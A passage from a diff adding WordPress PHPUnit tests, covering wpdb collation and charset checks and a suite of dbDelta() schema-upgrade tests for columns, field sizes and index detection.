+				"( a VARCHAR(50) COLLATE utf8_general_ci )",
+				true
+			),
+			array(
+				// utf8_unicode_ci tables do.
+				"( a VARCHAR(50) COLLATE utf8_unicode_ci )",
+				false
+			),
+			array(
+				// utf8_bin tables don't need extra sanity checking,
+				// except for when they're not just utf8_bin.
+				"( a VARCHAR(50) COLLATE utf8_bin, b VARCHAR(50) COLLATE big5_chinese_ci )",
+				false
+			),
+			array(
+				// utf8_bin tables don't need extra sanity checking
+				// when the other columns aren't strings.
+				"( a VARCHAR(50) COLLATE utf8_bin, b INT )",
+				true
+			),
+		);
+
+		foreach( $data as $i => &$value ) {
+			$this_table_name = $table_name . '_' . $i;
+
+			$value[0] = "CREATE TABLE $this_table_name {$value[0]}";
+			$value[2] = "SELECT * FROM $this_table_name WHERE a='\xf0\x9f\x98\x88'";
+			$value[3] = "DROP TABLE IF EXISTS $this_table_name";
+			$value[4] = array(
+				"SELECT * FROM $this_table_name WHERE a='foo'",
+				"SHOW FULL TABLES LIKE $this_table_name",
+				"DESCRIBE $this_table_name",
+				"DESC $this_table_name",
+				"EXPLAIN SELECT * FROM $this_table_name",
+			);
+		}
+		unset( $value );
+
+		return $data;
+	}
+
+
+	/**
+	 * @dataProvider data_table_collation_check
+	 * @ticket 21212
+	 */
+	function test_table_collation_check( $create, $expected, $query, $drop, $always_true ) {
+		self::$_wpdb->query( $drop );
+
+		self::$_wpdb->query( $create );
+
+		$return = self::$_wpdb->check_safe_collation( $query );
+		$this->assertEquals( $expected, $return );
+
+		foreach( $always_true as $true_query ) {
+			$return = self::$_wpdb->check_safe_collation( $true_query );
+			$this->assertTrue( $return );
+		}
+
+		self::$_wpdb->query( $drop );
+	}
+
+	function test_strip_invalid_text_for_column_bails_if_ascii_input_too_long() {
+		global $wpdb;
+
+		// TEXT column
+		$stripped = $wpdb->strip_invalid_text_for_column( $wpdb->comments, 'comment_content', str_repeat( 'A', 65536 ) );
+		$this->assertEquals( 65535, strlen( $stripped ) );
+
+		// VARCHAR column
+		$stripped = $wpdb->strip_invalid_text_for_column( $wpdb->comments, 'comment_agent', str_repeat( 'A', 256 ) );
+		$this->assertEquals( 255, strlen( $stripped ) );
+	}
+
+	/**
+	 * @ticket 32279
+	 */
+	function test_strip_invalid_text_from_query_cp1251_is_safe() {
+		$tablename = 'test_cp1251_query_' . rand_str( 5 );
+		if ( ! self::$_wpdb->query( "CREATE TABLE $tablename ( a VARCHAR(50) ) DEFAULT CHARSET 'cp1251'" ) ) {
+			$this->markTestSkipped( "Test requires the 'cp1251' charset" );
+		}
+
+		$safe_query = "INSERT INTO $tablename( `a` ) VALUES( 'safe data' )";
+		$stripped_query = self::$_wpdb->strip_invalid_text_from_query( $safe_query );
+
+		self::$_wpdb->query( "DROP TABLE $tablename" );
+
+		$this->assertEquals( $safe_query, $stripped_query );
+	}
+
+	/**
+	 * @ticket 34708
+	 */
+	function test_no_db_charset_defined() {
+		$tablename = 'test_cp1251_query_' . rand_str( 5 );
+		if ( ! self::$_wpdb->query( "CREATE TABLE $tablename ( a VARCHAR(50) ) DEFAULT CHARSET 'cp1251'" ) ) {
+			$this->markTestSkipped( "Test requires the 'cp1251' charset" );
+		}
+
+		$charset = self::$_wpdb->charset;
+		self::$_wpdb->charset = '';
+
+		$safe_query = "INSERT INTO $tablename( `a` ) VALUES( 'safe data' )";
+		$stripped_query = self::$_wpdb->strip_invalid_text_from_query( $safe_query );
+
+		self::$_wpdb->query( "DROP TABLE $tablename" );
+
+		self::$_wpdb->charset = $charset;
+
+		$this->assertEquals( $safe_query, $stripped_query );
+	}
+
+	/**
+	 * @ticket 36649
+	 */
+	function test_set_charset_changes_the_connection_collation() {
+		self::$_wpdb->set_charset( self::$_wpdb->dbh, 'utf8', 'utf8_general_ci' );
+		$results = self::$_wpdb->get_results( "SHOW VARIABLES WHERE Variable_name='collation_connection'" );
+		$this->assertEquals( 'utf8_general_ci', $results[0]->Value );
+
+		self::$_wpdb->set_charset( self::$_wpdb->dbh, 'utf8mb4', 'utf8mb4_unicode_ci' );
+		$results = self::$_wpdb->get_results( "SHOW VARIABLES WHERE Variable_name='collation_connection'" );
+		$this->assertEquals( 'utf8mb4_unicode_ci', $results[0]->Value );
+
+		self::$_wpdb->set_charset( self::$_wpdb->dbh );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/dbdelta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/dbdelta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/dbdelta.php	(revision 56912)
@@ -0,0 +1,982 @@
+<?php
+
+/**
+ * Test dbDelta()
+ *
+ * @group upgrade
+ * @group dbdelta
+ */
+class Tests_dbDelta extends WP_UnitTestCase {
+
+	/**
+	 * The maximum size of an index with utf8mb4 collation and charset with a standard
+	 * byte limit of 767. floor(767/4) = 191 characters.
+	 */
+	protected $max_index_length = 191;
+
+	/**
+	 * Make sure the upgrade code is loaded before the tests are run.
+	 */
+	public static function setUpBeforeClass() {
+
+		parent::setUpBeforeClass();
+
+		require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+	}
+
+	/**
+	 * Create a custom table to be used in each test.
+	 */
+	public function setUp() {
+
+		global $wpdb;
+
+		// Forcing MyISAM, because InnoDB only started supporting FULLTEXT indexes in MySQL 5.7.
+		$wpdb->query(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		parent::setUp();
+	}
+
+	/**
+	 * Delete the custom table on teardown.
+	 */
+	public function tearDown() {
+
+		global $wpdb;
+
+		parent::tearDown();
+
+		$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}dbdelta_test" );
+	}
+
+	/**
+	 * Test table creation.
+	 */
+	public function test_creating_a_table() {
+
+		remove_filter( 'query', array( $this, '_create_temporary_tables' ) );
+		remove_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+
+		global $wpdb;
+
+		$updates = dbDelta(
+			"CREATE TABLE {$wpdb->prefix}dbdelta_create_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				PRIMARY KEY  (id)
+			);"
+		);
+
+		$expected = array(
+			"{$wpdb->prefix}dbdelta_create_test" => "Created table {$wpdb->prefix}dbdelta_create_test"
+		);
+
+		$this->assertEquals( $expected, $updates );
+
+		$this->assertEquals(
+			"{$wpdb->prefix}dbdelta_create_test"
+			, $wpdb->get_var(
+				$wpdb->prepare(
+					'SHOW TABLES LIKE %s'
+					, $wpdb->esc_like( "{$wpdb->prefix}dbdelta_create_test" )
+				)
+			)
+		);
+
+		$wpdb->query( "DROP TABLE {$wpdb->prefix}dbdelta_create_test" );
+	}
+
+	/**
+	 * Test that it does nothing for an existing table.
+	 */
+	public function test_existing_table() {
+
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length))
+			)
+			"
+		);
+
+		$this->assertEquals( array(), $updates );
+	}
+
+	/**
+	 * Test the column type is updated.
+	 */
+	public function test_column_type_change() {
+
+		global $wpdb;
+
+		// id: bigint(20) => int(11)
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id int(11) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length))
+			)
+			"
+		);
+
+		$this->assertEquals(
+			array(
+				"{$wpdb->prefix}dbdelta_test.id"
+					=> "Changed type of {$wpdb->prefix}dbdelta_test.id from bigint(20) to int(11)"
+			)
+			, $updates
+		);
+	}
+
+	/**
+	 * Test new column added.
+	 */
+	public function test_column_added() {
+
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				extra_col longtext,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length))
+			)
+			"
+		);
+
+		$this->assertEquals(
+			array(
+				"{$wpdb->prefix}dbdelta_test.extra_col"
+					=> "Added column {$wpdb->prefix}dbdelta_test.extra_col"
+			)
+			, $updates
+		);
+
+		$this->assertTableHasColumn( 'column_1', $wpdb->prefix . 'dbdelta_test' );
+		$this->assertTableHasPrimaryKey( 'id' , $wpdb->prefix . 'dbdelta_test' );
+	}
+
+	/**
+	 * Test that it does nothing when a column is removed.
+	 *
+	 * @ticket 26801
+	 */
+	public function test_columns_arent_removed() {
+
+		global $wpdb;
+
+		// No column column_1
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length))
+			)
+			"
+		);
+
+		$this->assertEquals( array(), $updates );
+
+		$this->assertTableHasColumn( 'column_1', $wpdb->prefix . 'dbdelta_test' );
+	}
+
+	/**
+	 * Test that nothing happens with $execute is false.
+	 */
+	public function test_no_execution() {
+
+		global $wpdb;
+
+		// Added column extra_col
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				extra_col longtext,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1({$this->max_index_length})),
+				KEY compound_key (id,column_1($this->max_index_length))
+			)
+			"
+			, false // Don't execute.
+		);
+
+		$this->assertEquals(
+			array(
+				"{$wpdb->prefix}dbdelta_test.extra_col"
+					=> "Added column {$wpdb->prefix}dbdelta_test.extra_col"
+			)
+			, $updates
+		);
+
+		$this->assertTableHasNotColumn( 'extra_col', $wpdb->prefix . 'dbdelta_test' );
+	}
+
+	/**
+	 * Test inserting into the database
+	 */
+	public function test_insert_into_table(){
+		global $wpdb;
+
+		$insert = dbDelta(
+			"INSERT INTO {$wpdb->prefix}dbdelta_test (column_1) VALUES ('wcphilly2015')"
+		);
+
+		$this->assertEquals(
+			array( )
+			, $insert
+		);
+
+		$this->assertTableRowHasValue( 'column_1', 'wcphilly2015',  $wpdb->prefix . 'dbdelta_test' );
+
+	}
+
+	/**
+	 * Test that FULLTEXT indexes are detected.
+	 * @ticket 14445
+	 */
+	public function test_fulltext_index() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			)
+			", false
+		);
+
+		$this->assertEmpty( $updates );
+	}
+
+	//
+	// Assertions.
+	//
+
+	/**
+	 * Assert that a table has a row with a value in a field.
+	 *
+	 * @param string $column The field name.
+	 * @param string $value  The field value.
+	 * @param string $table  The database table name.
+	 */
+	protected function assertTableRowHasValue( $column, $value, $table ) {
+		global $wpdb;
+
+		$table_row = $wpdb->get_row( "select $column from {$table} where $column = '$value'" );
+
+		$expected = (object) array(
+		    $column => $value
+		);
+
+		$this->assertEquals( $expected, $table_row );
+	}
+
+	/**
+	 * Assert that a table has a column.
+	 *
+	 * @param string $column The field name.
+	 * @param string $table  The database table name.
+	 */
+	protected function assertTableHasColumn( $column, $table ) {
+		global $wpdb;
+
+		$table_fields = $wpdb->get_results( "DESCRIBE {$table}" );
+
+		$this->assertCount( 1, wp_list_filter( $table_fields, array( 'Field' => $column ) ) );
+	}
+
+	/**
+	 * Assert that a table has a primary key.
+	 *
+	 * Checks for single-column primary keys. May not work for multi-column primary keys.
+	 *
+	 * @param string $column The column for the primary key.
+	 * @param string $table  The database table name.
+	 */
+	protected function assertTableHasPrimaryKey( $column , $table ) {
+		global $wpdb;
+
+		$table_indices = $wpdb->get_results( "SHOW INDEX FROM {$table}" );
+
+		$this->assertCount( 1, wp_list_filter( $table_indices, array( 'Key_name' => 'PRIMARY' , 'Column_name' => $column ) , 'AND' ) );
+	}
+
+	/**
+	 * Assert that a table doesn't have a column.
+	 *
+	 * @param string $column The field name.
+	 * @param string $table  The database table name.
+	 */
+	protected function assertTableHasNotColumn( $column, $table ) {
+
+		global $wpdb;
+
+		$table_fields = $wpdb->get_results( "DESCRIBE {$table}" );
+
+		$this->assertCount( 0, wp_list_filter( $table_fields, array( 'Field' => $column ) ) );
+	}
+
+	/**
+	 * @ticket 31869
+	 */
+	function test_truncated_index() {
+		global $wpdb;
+
+		if ( ! $wpdb->has_cap( 'utf8mb4' ) ) {
+			$this->markTestSkipped( 'This test requires utf8mb4 support in MySQL.' );
+		}
+
+		// This table needs to be actually created
+		remove_filter( 'query', array( $this, '_create_temporary_tables' ) );
+		remove_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+
+		$table_name = "{$wpdb->prefix}test_truncated_index";
+
+		$create = "
+			CREATE TABLE $table_name (
+				a varchar(255) COLLATE utf8mb4_unicode_ci,
+				KEY a_key (a)
+			) ENGINE=InnoDB ROW_FORMAT=DYNAMIC";
+
+		$wpdb->query( $create );
+
+		$index = $wpdb->get_row( "SHOW INDEXES FROM $table_name WHERE Key_name='a_key';" );
+
+		$actual = dbDelta( $create, false );
+
+		$wpdb->query( "DROP TABLE IF EXISTS $table_name;" );
+
+		if ( 191 != $index->Sub_part ) {
+			$this->markTestSkipped( "This test requires the index to be truncated." );
+		}
+
+		$this->assertSame( array(), $actual );
+	}
+
+	/**
+	 * @ticket 36748
+	 */
+	function test_dont_downsize_text_fields() {
+		global $wpdb;
+
+		$result = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 tinytext,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1({$this->max_index_length})),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			", false );
+
+		$this->assertSame( array(), $result );
+	}
+
+	/**
+	 * @ticket 36748
+	 */
+	function test_dont_downsize_blob_fields() {
+		global $wpdb;
+
+		$result = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 tinyblob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1({$this->max_index_length})),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			", false );
+
+		$this->assertSame( array(), $result );
+	}
+
+	/**
+	 * @ticket 36748
+	 */
+	function test_upsize_text_fields() {
+		global $wpdb;
+
+		$result = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 bigtext,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1({$this->max_index_length})),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			", false );
+
+		$this->assertSame(
+			array(
+				"{$wpdb->prefix}dbdelta_test.column_2"
+					=> "Changed type of {$wpdb->prefix}dbdelta_test.column_2 from text to bigtext"
+			), $result );
+	}
+
+	/**
+	 * @ticket 36748
+	 */
+	function test_upsize_blob_fields() {
+		global $wpdb;
+
+		$result = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 mediumblob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1({$this->max_index_length})),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			", false );
+
+		$this->assertSame(
+			array(
+				"{$wpdb->prefix}dbdelta_test.column_3"
+					=> "Changed type of {$wpdb->prefix}dbdelta_test.column_3 from blob to mediumblob"
+			), $result );
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_query_with_backticks_does_not_throw_an_undefined_index_warning() {
+		global $wpdb;
+
+		$schema = "
+			CREATE TABLE {$wpdb->prefix}dbdelta_test2 (
+				`id` bigint(20) NOT NULL AUTO_INCREMENT,
+				`column_1` varchar(255) NOT NULL,
+				PRIMARY KEY  (id),
+				KEY compound_key (id,column_1($this->max_index_length))
+			)
+		";
+
+		$wpdb->query( $schema );
+
+		$updates = dbDelta( $schema, false );
+
+		$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}dbdelta_test2" );
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 36948
+	 */
+	function test_spatial_indices() {
+		global $wpdb;
+
+		if ( version_compare( $wpdb->db_version(), '5.4', '<' ) ) {
+			$this->markTestSkipped( 'Spatial indices require MySQL 5.4 and above.' );
+		}
+
+		$schema =
+			"
+			CREATE TABLE {$wpdb->prefix}spatial_index_test (
+				non_spatial bigint(20) unsigned NOT NULL,
+				spatial_value geometrycollection NOT NULL,
+				KEY non_spatial (non_spatial),
+				SPATIAL KEY spatial_key (spatial_value)
+			) ENGINE=MyISAM;
+			";
+
+		$wpdb->query( $schema );
+
+		$updates = dbDelta( $schema, false );
+
+		$this->assertEmpty( $updates );
+
+		$schema =
+			"
+			CREATE TABLE {$wpdb->prefix}spatial_index_test (
+				non_spatial bigint(20) unsigned NOT NULL,
+				spatial_value geometrycollection NOT NULL,
+				spatial_value2 geometrycollection NOT NULL,
+				KEY non_spatial (non_spatial),
+				SPATIAL KEY spatial_key (spatial_value)
+				SPATIAL KEY spatial_key2 (spatial_value2)
+			) ENGINE=MyISAM;
+			";
+
+		$updates = dbDelta( $schema, false );
+
+		$this->assertSame( array(
+			"{$wpdb->prefix}spatial_index_test.spatial_value2" => "Added column {$wpdb->prefix}spatial_index_test.spatial_value2",
+			"Added index {$wpdb->prefix}spatial_index_test SPATIAL KEY `spatial_key2` (`spatial_value2`)"
+			), $updates );
+
+		$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}spatial_index_test" );
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_query_with_backticks_does_not_cause_a_query_to_alter_all_columns_and_indices_to_run_even_if_none_have_changed() {
+		global $wpdb;
+
+		$schema = "
+			CREATE TABLE {$wpdb->prefix}dbdelta_test2 (
+				`id` bigint(20) NOT NULL AUTO_INCREMENT,
+				`references` varchar(255) NOT NULL,
+				PRIMARY KEY  (`id`),
+				KEY `compound_key` (`id`,`references`($this->max_index_length))
+			)
+		";
+
+		$wpdb->query( $schema );
+
+		$updates = dbDelta( $schema );
+
+		$table_indices = $wpdb->get_results( "SHOW INDEX FROM {$wpdb->prefix}dbdelta_test2" );
+		$compound_key_index = wp_list_filter( $table_indices, array( 'Key_name' => 'compound_key' ) );
+
+		$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}dbdelta_test2" );
+
+		$this->assertCount( 2, $compound_key_index );
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_index_with_a_reserved_keyword_can_be_created() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				`references` varchar(255) NOT NULL,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id , column_1($this->max_index_length)),
+				KEY compound_key2 (id,`references`($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		$table_indices = $wpdb->get_results( "SHOW INDEX FROM {$wpdb->prefix}dbdelta_test" );
+
+		$this->assertCount( 2, wp_list_filter( $table_indices, array( 'Key_name' => 'compound_key2' ) , 'AND' ) );
+
+		$this->assertSame(
+			array(
+				"{$wpdb->prefix}dbdelta_test.references" => "Added column {$wpdb->prefix}dbdelta_test.references",
+				0 => "Added index {$wpdb->prefix}dbdelta_test KEY `compound_key2` (`id`,`references`($this->max_index_length))",
+			),
+			$updates
+		);
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_wp_get_db_schema_does_no_alter_queries_on_existing_install() {
+		$updates = dbDelta( wp_get_db_schema() );
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_key_and_index_and_fulltext_key_and_fulltext_index_and_unique_key_and_unique_index_indicies() {
+		global $wpdb;
+
+		$schema = "
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1),
+				INDEX key_2 (column_1($this->max_index_length)),
+				UNIQUE KEY key_3 (column_1($this->max_index_length)),
+				UNIQUE INDEX key_4 (column_1($this->max_index_length)),
+				FULLTEXT INDEX key_5 (column_1),
+			) ENGINE=MyISAM
+		";
+
+		$creates = dbDelta( $schema );
+		$this->assertSame(
+			array(
+				0 => "Added index {$wpdb->prefix}dbdelta_test KEY `key_2` (`column_1`($this->max_index_length))",
+				1 => "Added index {$wpdb->prefix}dbdelta_test UNIQUE KEY `key_3` (`column_1`($this->max_index_length))",
+				2 => "Added index {$wpdb->prefix}dbdelta_test UNIQUE KEY `key_4` (`column_1`($this->max_index_length))",
+				3 => "Added index {$wpdb->prefix}dbdelta_test FULLTEXT KEY `key_5` (`column_1`)",
+			),
+			$creates
+		);
+
+		$updates = dbDelta( $schema );
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_index_and_key_are_synonyms_and_do_not_recreate_indices() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				INDEX key_1 (column_1($this->max_index_length)),
+				INDEX compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT INDEX fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 20263
+	 */
+	function test_indices_with_prefix_limits_are_created_and_do_not_recreate_indices() {
+		global $wpdb;
+
+		$schema = "
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1),
+				KEY key_2 (column_1(10)),
+				KEY key_3 (column_2(100),column_1(10)),
+			) ENGINE=MyISAM
+		";
+
+		$creates = dbDelta( $schema );
+		$this->assertSame(
+			array(
+				0 => "Added index {$wpdb->prefix}dbdelta_test KEY `key_2` (`column_1`(10))",
+				1 => "Added index {$wpdb->prefix}dbdelta_test KEY `key_3` (`column_2`(100),`column_1`(10))",
+			),
+			$creates
+		);
+
+		$updates = dbDelta( $schema );
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34959
+	 */
+	function test_index_col_names_with_order_do_not_recreate_indices() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length) DESC),
+				KEY compound_key (id,column_1($this->max_index_length) ASC),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34873
+	 */
+	function test_primary_key_with_single_space_does_not_recreate_index() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34869
+	 */
+	function test_index_definitions_with_spaces_do_not_recreate_indices() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1        (         column_1($this->max_index_length)),
+				KEY compound_key (id,      column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34871
+	 */
+	function test_index_types_are_not_case_sensitive_and_do_not_recreate_indices() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				key key_1 (column_1($this->max_index_length)),
+				key compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			"
+		);
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34874
+	 */
+	function test_key_names_are_not_case_sensitive_and_do_not_recreate_indices() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY KEY_1 (column_1($this->max_index_length)),
+				KEY compOUND_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY FULLtext_kEY (column_1)
+			) ENGINE=MyISAM
+			", false );
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34870
+	 */
+	function test_unchanged_key_lengths_do_not_recreate_index() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1({$this->max_index_length})),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			", false );
+
+		$this->assertEmpty( $updates );
+	}
+
+	/**
+	 * @ticket 34870
+	 */
+	function test_changed_key_lengths_do_not_recreate_index() {
+		global $wpdb;
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				KEY changing_key_length (column_1(20)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			" );
+
+		$this->assertSame( array(
+			"Added index {$wpdb->prefix}dbdelta_test KEY `changing_key_length` (`column_1`(20))"
+		), $updates );
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
+				PRIMARY KEY  (id),
+				KEY key_1 (column_1($this->max_index_length)),
+				KEY compound_key (id,column_1($this->max_index_length)),
+				KEY changing_key_length (column_1(50)),
+				FULLTEXT KEY fulltext_key (column_1)
+			) ENGINE=MyISAM
+			" );
+
+		$this->assertEmpty( $updates );
+
+		$updates = dbDelta(
+			"
+			CREATE TABLE {$wpdb->prefix}dbdelta_test (
+				id bigint(20) NOT NULL AUTO_INCREMENT,
+				column_1 varchar(255) NOT NULL,
+				column_2 text,
+				column_3 blob,
